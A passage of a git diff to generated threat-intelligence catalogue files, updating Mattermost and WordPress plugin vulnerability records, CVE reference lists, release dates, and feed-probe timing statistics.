"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71223,7 +71399,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.2.4",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71251,7 +71427,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71290,12 +71466,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71317,12 +71495,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71344,12 +71524,14 @@
"mattermost--CVE-2026-22545",
"mattermost--CVE-2026-24458",
"mattermost--CVE-2026-2455",
+ "mattermost--CVE-2026-2456",
"mattermost--CVE-2026-2457",
"mattermost--CVE-2026-2458",
"mattermost--CVE-2026-2463",
"mattermost--CVE-2026-24692",
"mattermost--CVE-2026-2578",
"mattermost--CVE-2026-25780",
+ "mattermost--CVE-2026-25783",
"mattermost--CVE-2026-26246",
"mattermost--CVE-2026-4265"
],
@@ -71360,7 +71542,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.3.2",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71402,7 +71584,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.x",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71416,7 +71598,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71430,7 +71612,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.4.1",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -71486,7 +71668,7 @@
"entity_id": "mattermost--repo--github-com-mattermost-mattermost-server",
"root_system_id": "mattermost",
"version": "11.5.0",
- "released_at": "2026-02-23",
+ "released_at": "2026-02-24",
"release_url": "https://securityupdates.mattermost.com/security_updates.json",
"source_name": "Mattermost Security Updates JSON",
"source_confidence": "official",
@@ -90852,34 +91034,6 @@
"advisory_refs": [],
"is_latest_snapshot": false
},
- {
- "version_id": "wordpress--1-1-1-reflected-cross-site-scripting-vulnerability",
- "entity_id": "wordpress",
- "root_system_id": "wordpress",
- "version": "1-1-1-reflected-cross-site-scripting-vulnerability",
- "released_at": null,
- "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability",
- "source_name": "Patchstack Database",
- "source_confidence": "ecosystem-authority",
- "security_relevant": true,
- "reason": "security-release",
- "advisory_refs": [],
- "is_latest_snapshot": false
- },
- {
- "version_id": "wordpress--1-1-1",
- "entity_id": "wordpress",
- "root_system_id": "wordpress",
- "version": "1.1.1",
- "released_at": null,
- "release_url": "https://patchstack.com/database/wordpress/plugin/gallery-for-ultimate-member/vulnerability/wordpress-video-photo-gallery-for-ultimate-member-plugin-1-1-1-reflected-cross-site-scripting-vulnerability",
- "source_name": "Patchstack Database",
- "source_confidence": "ecosystem-authority",
- "security_relevant": true,
- "reason": "security-release",
- "advisory_refs": [],
- "is_latest_snapshot": false
- },
{
"version_id": "wordpress--2-2-0-reflected-cross-site-scripting-via-page-vulnerability",
"entity_id": "wordpress",
@@ -91034,6 +91188,34 @@
"advisory_refs": [],
"is_latest_snapshot": false
},
+ {
+ "version_id": "wordpress--3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "entity_id": "wordpress",
+ "root_system_id": "wordpress",
+ "version": "3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "released_at": null,
+ "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "source_name": "Patchstack Database",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "security-release",
+ "advisory_refs": [],
+ "is_latest_snapshot": false
+ },
+ {
+ "version_id": "wordpress--3-5-1-33",
+ "entity_id": "wordpress",
+ "root_system_id": "wordpress",
+ "version": "3.5.1.33",
+ "released_at": null,
+ "release_url": "https://patchstack.com/database/wordpress/plugin/smart-slider-3/vulnerability/wordpress-smart-slider-3-plugin-3-5-1-33-authenticated-subscriber-arbitrary-file-read-via-actionexportall-vulnerability",
+ "source_name": "Patchstack Database",
+ "source_confidence": "ecosystem-authority",
+ "security_relevant": true,
+ "reason": "security-release",
+ "advisory_refs": [],
+ "is_latest_snapshot": false
+ },
{
"version_id": "wordpress--3-5-6-2-unauthenticated-arbitrary-file-read-via-media-field-vulnerability",
"entity_id": "wordpress",
diff --git a/08-threat-intel/generated/run-summary.json b/08-threat-intel/generated/run-summary.json
index b777a98d..57dc1b00 100644
--- a/08-threat-intel/generated/run-summary.json
+++ b/08-threat-intel/generated/run-summary.json
@@ -1,17 +1,15 @@
{
- "generated_at": "2026-03-26T10:20:34+00:00",
+ "generated_at": "2026-03-27T09:31:00+00:00",
"system_count": 62,
- "advisory_count": 2375,
+ "advisory_count": 2378,
"cataloged_entity_total": 110,
"candidate_entity_total": 7,
- "markdown_count": 171,
+ "markdown_count": 174,
"new_count": 3,
- "updated_count": 2,
+ "updated_count": 0,
"systems_touched": [
- "fastify",
- "nextjs",
- "prestashop",
- "spring-security"
+ "astro",
+ "mattermost"
],
"triage_count": 1177,
"run_bundle_count": 89,
diff --git a/08-threat-intel/generated/source-health.json b/08-threat-intel/generated/source-health.json
index 68c02ffd..f71dae56 100644
--- a/08-threat-intel/generated/source-health.json
+++ b/08-threat-intel/generated/source-health.json
@@ -1,17 +1,17 @@
{
- "generated_at": "2026-03-26T10:20:18+00:00",
+ "generated_at": "2026-03-27T09:30:44+00:00",
"active_source_count": 102,
"green_source_count": 102,
"failure_count": 0,
"all_green": true,
- "last_fully_green_run": "2026-03-26T10:20:18+00:00",
+ "last_fully_green_run": "2026-03-27T09:30:44+00:00",
"retries_performed": 0,
"probes": [
{
"system_id": "adminer",
"source_name": "OSV Adminer",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.138,
+ "elapsed_seconds": 4.288,
"kind": "osv-batch",
"items_seen": 1
},
@@ -19,7 +19,7 @@
"system_id": "adobe-commerce",
"source_name": "Adobe Magento Security Index",
"source_kind": "vendor-index",
- "elapsed_seconds": 1.973,
+ "elapsed_seconds": 6.387,
"kind": "vendor-index",
"items_seen": 46
},
@@ -27,7 +27,7 @@
"system_id": "angular",
"source_name": "OSV Angular",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.67,
+ "elapsed_seconds": 2.576,
"kind": "osv-batch",
"items_seen": 1
},
@@ -35,7 +35,7 @@
"system_id": "apache-httpd",
"source_name": "Apache HTTPD Security",
"source_kind": "html-links",
- "elapsed_seconds": 34.836,
+ "elapsed_seconds": 3.254,
"kind": "html-links",
"items_seen": 182
},
@@ -43,15 +43,15 @@
"system_id": "apache-httpd",
"source_name": "CISA KEV Apache HTTPD",
"source_kind": "kev-json",
- "elapsed_seconds": 3.387,
+ "elapsed_seconds": 3.463,
"kind": "kev-json",
- "items_seen": 1552
+ "items_seen": 1553
},
{
"system_id": "apache-tomcat",
"source_name": "Apache Tomcat Security",
"source_kind": "html-links",
- "elapsed_seconds": 35.095,
+ "elapsed_seconds": 3.341,
"kind": "html-links",
"items_seen": 270
},
@@ -59,15 +59,15 @@
"system_id": "apache-tomcat",
"source_name": "CISA KEV Tomcat",
"source_kind": "kev-json",
- "elapsed_seconds": 3.466,
+ "elapsed_seconds": 3.463,
"kind": "kev-json",
- "items_seen": 1552
+ "items_seen": 1553
},
{
"system_id": "aspnet-core",
"source_name": "OSV ASP.NET Core",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.025,
+ "elapsed_seconds": 3.827,
"kind": "osv-batch",
"items_seen": 1
},
@@ -75,7 +75,7 @@
"system_id": "astro",
"source_name": "OSV Astro",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.696,
+ "elapsed_seconds": 2.65,
"kind": "osv-batch",
"items_seen": 1
},
@@ -83,7 +83,7 @@
"system_id": "caddy",
"source_name": "OSV Caddy",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.139,
+ "elapsed_seconds": 4.154,
"kind": "osv-batch",
"items_seen": 1
},
@@ -91,7 +91,7 @@
"system_id": "directus",
"source_name": "Directus GitHub Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.195,
+ "elapsed_seconds": 1.349,
"kind": "html-links",
"items_seen": 127
},
@@ -99,7 +99,7 @@
"system_id": "directus",
"source_name": "OSV Directus",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.769,
+ "elapsed_seconds": 0.987,
"kind": "osv-batch",
"items_seen": 1
},
@@ -107,7 +107,7 @@
"system_id": "discourse",
"source_name": "Discourse Release Notes RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 1.538,
+ "elapsed_seconds": 2.398,
"kind": "rss-feed",
"items_seen": 30
},
@@ -115,7 +115,7 @@
"system_id": "discourse",
"source_name": "Discourse Security RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 0.926,
+ "elapsed_seconds": 1.097,
"kind": "rss-feed",
"items_seen": 3
},
@@ -123,7 +123,7 @@
"system_id": "discourse",
"source_name": "OSV Discourse",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.954,
+ "elapsed_seconds": 0.98,
"kind": "osv-batch",
"items_seen": 1
},
@@ -131,7 +131,7 @@
"system_id": "django",
"source_name": "Django Security Releases Archive",
"source_kind": "vendor-index",
- "elapsed_seconds": 3.746,
+ "elapsed_seconds": 2.987,
"kind": "vendor-index",
"items_seen": 1276
},
@@ -139,7 +139,7 @@
"system_id": "django",
"source_name": "Django Security Weblog",
"source_kind": "vendor-index",
- "elapsed_seconds": 35.137,
+ "elapsed_seconds": 2.987,
"kind": "vendor-index",
"items_seen": 332
},
@@ -147,7 +147,7 @@
"system_id": "django",
"source_name": "OSV Django",
"source_kind": "osv-batch",
- "elapsed_seconds": 36.192,
+ "elapsed_seconds": 4.695,
"kind": "osv-batch",
"items_seen": 1
},
@@ -155,7 +155,7 @@
"system_id": "drupal",
"source_name": "Drupal Security Advisories RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 0.605,
+ "elapsed_seconds": 0.744,
"kind": "rss-feed",
"items_seen": 20
},
@@ -163,7 +163,7 @@
"system_id": "drupal",
"source_name": "OSV Drupal",
"source_kind": "osv-batch",
- "elapsed_seconds": 1.981,
+ "elapsed_seconds": 2.022,
"kind": "osv-batch",
"items_seen": 1
},
@@ -171,7 +171,7 @@
"system_id": "echo",
"source_name": "OSV Echo",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.025,
+ "elapsed_seconds": 3.792,
"kind": "osv-batch",
"items_seen": 1
},
@@ -179,7 +179,7 @@
"system_id": "esbuild",
"source_name": "OSV esbuild",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.263,
+ "elapsed_seconds": 3.176,
"kind": "osv-batch",
"items_seen": 1
},
@@ -187,7 +187,7 @@
"system_id": "express",
"source_name": "OSV Express",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.915,
+ "elapsed_seconds": 2.68,
"kind": "osv-batch",
"items_seen": 1
},
@@ -195,7 +195,7 @@
"system_id": "fastify",
"source_name": "OSV Fastify",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.079,
+ "elapsed_seconds": 3.062,
"kind": "osv-batch",
"items_seen": 1
},
@@ -203,7 +203,7 @@
"system_id": "flask",
"source_name": "OSV Flask",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.078,
+ "elapsed_seconds": 3.732,
"kind": "osv-batch",
"items_seen": 1
},
@@ -211,7 +211,7 @@
"system_id": "ghost",
"source_name": "Ghost GitHub Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.099,
+ "elapsed_seconds": 1.102,
"kind": "html-links",
"items_seen": 119
},
@@ -219,7 +219,7 @@
"system_id": "ghost",
"source_name": "OSV Ghost",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.79,
+ "elapsed_seconds": 1.03,
"kind": "osv-batch",
"items_seen": 1
},
@@ -227,7 +227,7 @@
"system_id": "gin",
"source_name": "OSV Gin",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.023,
+ "elapsed_seconds": 4.84,
"kind": "osv-batch",
"items_seen": 1
},
@@ -235,7 +235,7 @@
"system_id": "gitea",
"source_name": "OSV Gitea",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.524,
+ "elapsed_seconds": 5.232,
"kind": "osv-batch",
"items_seen": 1
},
@@ -243,7 +243,7 @@
"system_id": "gitlab-ce",
"source_name": "GitLab Advisory Database",
"source_kind": "html-links",
- "elapsed_seconds": 35.891,
+ "elapsed_seconds": 3.5,
"kind": "html-links",
"items_seen": 5
},
@@ -251,7 +251,7 @@
"system_id": "gitlab-ce",
"source_name": "GitLab Security Releases Atom",
"source_kind": "atom-feed",
- "elapsed_seconds": 35.675,
+ "elapsed_seconds": 3.5,
"kind": "atom-feed",
"items_seen": 187
},
@@ -259,15 +259,15 @@
"system_id": "grafana",
"source_name": "CISA KEV Grafana",
"source_kind": "kev-json",
- "elapsed_seconds": 35.076,
+ "elapsed_seconds": 3.502,
"kind": "kev-json",
- "items_seen": 1552
+ "items_seen": 1553
},
{
"system_id": "grafana",
"source_name": "Grafana Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 35.677,
+ "elapsed_seconds": 3.5,
"kind": "html-links",
"items_seen": 159
},
@@ -275,7 +275,7 @@
"system_id": "hapi",
"source_name": "OSV Hapi",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.044,
+ "elapsed_seconds": 4.115,
"kind": "osv-batch",
"items_seen": 1
},
@@ -283,7 +283,7 @@
"system_id": "haproxy",
"source_name": "HAProxy Blog Feed",
"source_kind": "rss-feed",
- "elapsed_seconds": 36.064,
+ "elapsed_seconds": 3.463,
"kind": "rss-feed",
"items_seen": 10
},
@@ -291,7 +291,7 @@
"system_id": "jenkins",
"source_name": "Jenkins Security Advisories RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 35.416,
+ "elapsed_seconds": 3.5,
"kind": "rss-feed",
"items_seen": 96
},
@@ -299,7 +299,7 @@
"system_id": "joomla",
"source_name": "Joomla Security Centre",
"source_kind": "html-links",
- "elapsed_seconds": 1.637,
+ "elapsed_seconds": 1.786,
"kind": "html-links",
"items_seen": 139
},
@@ -307,7 +307,7 @@
"system_id": "joomla",
"source_name": "OSV Joomla",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.647,
+ "elapsed_seconds": 0.983,
"kind": "osv-batch",
"items_seen": 1
},
@@ -315,7 +315,7 @@
"system_id": "kibana",
"source_name": "Elastic Product Security",
"source_kind": "html-links",
- "elapsed_seconds": 36.254,
+ "elapsed_seconds": 3.502,
"kind": "html-links",
"items_seen": 66
},
@@ -323,7 +323,7 @@
"system_id": "kibana",
"source_name": "NVD Kibana",
"source_kind": "nvd-search",
- "elapsed_seconds": 36.067,
+ "elapsed_seconds": 5.239,
"kind": "nvd-search",
"items_seen": 1
},
@@ -331,7 +331,7 @@
"system_id": "koa",
"source_name": "OSV Koa",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.967,
+ "elapsed_seconds": 2.932,
"kind": "osv-batch",
"items_seen": 1
},
@@ -339,7 +339,7 @@
"system_id": "laravel",
"source_name": "OSV Laravel",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.139,
+ "elapsed_seconds": 4.021,
"kind": "osv-batch",
"items_seen": 1
},
@@ -347,7 +347,7 @@
"system_id": "magento-open-source",
"source_name": "Magento GitHub Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.624,
+ "elapsed_seconds": 1.79,
"kind": "html-links",
"items_seen": 99
},
@@ -355,7 +355,7 @@
"system_id": "magento-open-source",
"source_name": "OSV Magento Open Source",
"source_kind": "osv-batch",
- "elapsed_seconds": 1.524,
+ "elapsed_seconds": 2.987,
"kind": "osv-batch",
"items_seen": 1
},
@@ -363,7 +363,7 @@
"system_id": "magento-open-source",
"source_name": "Sansec Research",
"source_kind": "html-links",
- "elapsed_seconds": 2.02,
+ "elapsed_seconds": 2.628,
"kind": "html-links",
"items_seen": 135
},
@@ -371,7 +371,7 @@
"system_id": "mattermost",
"source_name": "Mattermost Security Updates JSON",
"source_kind": "json-feed",
- "elapsed_seconds": 35.602,
+ "elapsed_seconds": 3.732,
"kind": "json-feed",
"items_seen": 594
},
@@ -379,7 +379,7 @@
"system_id": "mattermost",
"source_name": "OSV Mattermost",
"source_kind": "osv-batch",
- "elapsed_seconds": 36.592,
+ "elapsed_seconds": 5.204,
"kind": "osv-batch",
"items_seen": 1
},
@@ -387,7 +387,7 @@
"system_id": "mediawiki",
"source_name": "MediaWiki Announce RSS",
"source_kind": "rss-feed",
- "elapsed_seconds": 2.337,
+ "elapsed_seconds": 2.997,
"kind": "rss-feed",
"items_seen": 30
},
@@ -395,7 +395,7 @@
"system_id": "mediawiki",
"source_name": "OSV MediaWiki",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.812,
+ "elapsed_seconds": 5.941,
"kind": "osv-batch",
"items_seen": 1
},
@@ -403,7 +403,7 @@
"system_id": "medusa",
"source_name": "OSV Medusa",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.581,
+ "elapsed_seconds": 2.198,
"kind": "osv-batch",
"items_seen": 1
},
@@ -411,7 +411,7 @@
"system_id": "moodle",
"source_name": "OSV Moodle",
"source_kind": "osv-batch",
- "elapsed_seconds": 37.993,
+ "elapsed_seconds": 8.986,
"kind": "osv-batch",
"items_seen": 1
},
@@ -419,7 +419,7 @@
"system_id": "nestjs",
"source_name": "OSV NestJS",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.06,
+ "elapsed_seconds": 2.925,
"kind": "osv-batch",
"items_seen": 1
},
@@ -427,7 +427,7 @@
"system_id": "nextjs",
"source_name": "OSV Next.js",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.437,
+ "elapsed_seconds": 3.366,
"kind": "osv-batch",
"items_seen": 1
},
@@ -435,15 +435,15 @@
"system_id": "nginx",
"source_name": "CISA KEV NGINX",
"source_kind": "kev-json",
- "elapsed_seconds": 3.374,
+ "elapsed_seconds": 3.463,
"kind": "kev-json",
- "items_seen": 1552
+ "items_seen": 1553
},
{
"system_id": "nginx",
"source_name": "NGINX Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 35.358,
+ "elapsed_seconds": 3.234,
"kind": "html-links",
"items_seen": 150
},
@@ -451,15 +451,15 @@
"system_id": "nodejs",
"source_name": "CISA KEV Node.js",
"source_kind": "kev-json",
- "elapsed_seconds": 2.964,
+ "elapsed_seconds": 3.463,
"kind": "kev-json",
- "items_seen": 1552
+ "items_seen": 1553
},
{
"system_id": "nodejs",
"source_name": "Node.js Security Releases",
"source_kind": "html-links",
- "elapsed_seconds": 3.026,
+ "elapsed_seconds": 2.548,
"kind": "html-links",
"items_seen": 74
},
@@ -467,7 +467,7 @@
"system_id": "nuxt",
"source_name": "OSV Nuxt",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.774,
+ "elapsed_seconds": 3.491,
"kind": "osv-batch",
"items_seen": 1
},
@@ -475,7 +475,7 @@
"system_id": "opencart",
"source_name": "OSV OpenCart",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.392,
+ "elapsed_seconds": 2.99,
"kind": "osv-batch",
"items_seen": 1
},
@@ -483,7 +483,7 @@
"system_id": "opencart",
"source_name": "OpenCart Releases",
"source_kind": "html-links",
- "elapsed_seconds": 36.392,
+ "elapsed_seconds": 1.16,
"kind": "html-links",
"items_seen": 1500
},
@@ -491,7 +491,7 @@
"system_id": "openmage",
"source_name": "OSV OpenMage",
"source_kind": "osv-batch",
- "elapsed_seconds": 1.535,
+ "elapsed_seconds": 1.653,
"kind": "osv-batch",
"items_seen": 1
},
@@ -499,7 +499,7 @@
"system_id": "openmage",
"source_name": "OpenMage GitHub Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 2.323,
+ "elapsed_seconds": 2.083,
"kind": "html-links",
"items_seen": 125
},
@@ -507,7 +507,7 @@
"system_id": "phpmyadmin",
"source_name": "OSV phpMyAdmin",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.308,
+ "elapsed_seconds": 5.239,
"kind": "osv-batch",
"items_seen": 1
},
@@ -515,7 +515,7 @@
"system_id": "phpmyadmin",
"source_name": "phpMyAdmin Security Page",
"source_kind": "html-links",
- "elapsed_seconds": 35.049,
+ "elapsed_seconds": 3.463,
"kind": "html-links",
"items_seen": 263
},
@@ -523,7 +523,7 @@
"system_id": "prestashop",
"source_name": "Friends Of Presta Security",
"source_kind": "html-links",
- "elapsed_seconds": 2.331,
+ "elapsed_seconds": 1.097,
"kind": "html-links",
"items_seen": 38
},
@@ -531,7 +531,7 @@
"system_id": "prestashop",
"source_name": "GitHub PrestaShop Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 2.245,
+ "elapsed_seconds": 1.095,
"kind": "html-links",
"items_seen": 127
},
@@ -539,7 +539,7 @@
"system_id": "prestashop",
"source_name": "OSV PrestaShop",
"source_kind": "osv-batch",
- "elapsed_seconds": 1.978,
+ "elapsed_seconds": 1.816,
"kind": "osv-batch",
"items_seen": 1
},
@@ -547,7 +547,7 @@
"system_id": "prestashop",
"source_name": "PrestaShop Security Page",
"source_kind": "html-links",
- "elapsed_seconds": 1.843,
+ "elapsed_seconds": 1.095,
"kind": "html-links",
"items_seen": 60
},
@@ -555,7 +555,7 @@
"system_id": "rails",
"source_name": "OSV Rails",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.748,
+ "elapsed_seconds": 4.015,
"kind": "osv-batch",
"items_seen": 1
},
@@ -563,7 +563,7 @@
"system_id": "react",
"source_name": "OSV React",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.581,
+ "elapsed_seconds": 2.203,
"kind": "osv-batch",
"items_seen": 1
},
@@ -571,7 +571,7 @@
"system_id": "redmine",
"source_name": "OSV Redmine",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.697,
+ "elapsed_seconds": 5.509,
"kind": "osv-batch",
"items_seen": 1
},
@@ -579,7 +579,7 @@
"system_id": "redmine",
"source_name": "Redmine Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 36.813,
+ "elapsed_seconds": 3.792,
"kind": "html-links",
"items_seen": 371
},
@@ -587,7 +587,7 @@
"system_id": "saleor",
"source_name": "GitHub Saleor Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 2.78,
+ "elapsed_seconds": 1.344,
"kind": "html-links",
"items_seen": 120
},
@@ -595,7 +595,7 @@
"system_id": "saleor",
"source_name": "OSV Saleor",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.388,
+ "elapsed_seconds": 3.067,
"kind": "osv-batch",
"items_seen": 1
},
@@ -603,7 +603,7 @@
"system_id": "shopware",
"source_name": "OSV Shopware",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.492,
+ "elapsed_seconds": 2.548,
"kind": "osv-batch",
"items_seen": 1
},
@@ -611,7 +611,7 @@
"system_id": "shopware",
"source_name": "Shopware Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 2.388,
+ "elapsed_seconds": 1.097,
"kind": "html-links",
"items_seen": 129
},
@@ -619,7 +619,7 @@
"system_id": "spring-boot",
"source_name": "OSV Spring Boot",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.466,
+ "elapsed_seconds": 4.021,
"kind": "osv-batch",
"items_seen": 1
},
@@ -627,7 +627,7 @@
"system_id": "spring-boot",
"source_name": "Spring Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 3.614,
+ "elapsed_seconds": 2.68,
"kind": "html-links",
"items_seen": 118
},
@@ -635,7 +635,7 @@
"system_id": "spring-framework",
"source_name": "OSV Spring Framework",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.387,
+ "elapsed_seconds": 3.234,
"kind": "osv-batch",
"items_seen": 1
},
@@ -643,7 +643,7 @@
"system_id": "spring-framework",
"source_name": "Spring Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 3.614,
+ "elapsed_seconds": 2.628,
"kind": "html-links",
"items_seen": 118
},
@@ -651,7 +651,7 @@
"system_id": "spring-security",
"source_name": "OSV Spring Security",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.374,
+ "elapsed_seconds": 3.341,
"kind": "osv-batch",
"items_seen": 1
},
@@ -659,7 +659,7 @@
"system_id": "spring-security",
"source_name": "Spring Security Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 3.614,
+ "elapsed_seconds": 2.65,
"kind": "html-links",
"items_seen": 118
},
@@ -667,7 +667,7 @@
"system_id": "strapi",
"source_name": "OSV Strapi",
"source_kind": "osv-batch",
- "elapsed_seconds": 0.781,
+ "elapsed_seconds": 1.074,
"kind": "osv-batch",
"items_seen": 1
},
@@ -675,7 +675,7 @@
"system_id": "strapi",
"source_name": "Strapi GitHub Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.038,
+ "elapsed_seconds": 1.165,
"kind": "html-links",
"items_seen": 124
},
@@ -683,7 +683,7 @@
"system_id": "sveltekit",
"source_name": "OSV SvelteKit",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.69,
+ "elapsed_seconds": 2.566,
"kind": "osv-batch",
"items_seen": 1
},
@@ -691,7 +691,7 @@
"system_id": "symfony",
"source_name": "OSV Symfony",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.448,
+ "elapsed_seconds": 4.636,
"kind": "osv-batch",
"items_seen": 1
},
@@ -699,7 +699,7 @@
"system_id": "traefik",
"source_name": "OSV Traefik",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.077,
+ "elapsed_seconds": 4.253,
"kind": "osv-batch",
"items_seen": 1
},
@@ -707,7 +707,7 @@
"system_id": "undici",
"source_name": "OSV Undici",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.099,
+ "elapsed_seconds": 3.254,
"kind": "osv-batch",
"items_seen": 1
},
@@ -715,7 +715,7 @@
"system_id": "vite",
"source_name": "OSV Vite",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.688,
+ "elapsed_seconds": 2.577,
"kind": "osv-batch",
"items_seen": 1
},
@@ -723,7 +723,7 @@
"system_id": "vue",
"source_name": "OSV Vue",
"source_kind": "osv-batch",
- "elapsed_seconds": 2.85,
+ "elapsed_seconds": 2.381,
"kind": "osv-batch",
"items_seen": 1
},
@@ -731,7 +731,7 @@
"system_id": "webpack",
"source_name": "OSV webpack",
"source_kind": "osv-batch",
- "elapsed_seconds": 3.154,
+ "elapsed_seconds": 3.176,
"kind": "osv-batch",
"items_seen": 1
},
@@ -739,7 +739,7 @@
"system_id": "werkzeug",
"source_name": "OSV Werkzeug",
"source_kind": "osv-batch",
- "elapsed_seconds": 35.076,
+ "elapsed_seconds": 4.113,
"kind": "osv-batch",
"items_seen": 1
},
@@ -747,7 +747,7 @@
"system_id": "woocommerce",
"source_name": "GitHub WooCommerce Advisories",
"source_kind": "html-links",
- "elapsed_seconds": 1.976,
+ "elapsed_seconds": 1.069,
"kind": "html-links",
"items_seen": 107
},
@@ -755,7 +755,7 @@
"system_id": "woocommerce",
"source_name": "OSV WooCommerce",
"source_kind": "osv-batch",
- "elapsed_seconds": 1.642,
+ "elapsed_seconds": 1.716,
"kind": "osv-batch",
"items_seen": 1
},
@@ -763,7 +763,7 @@
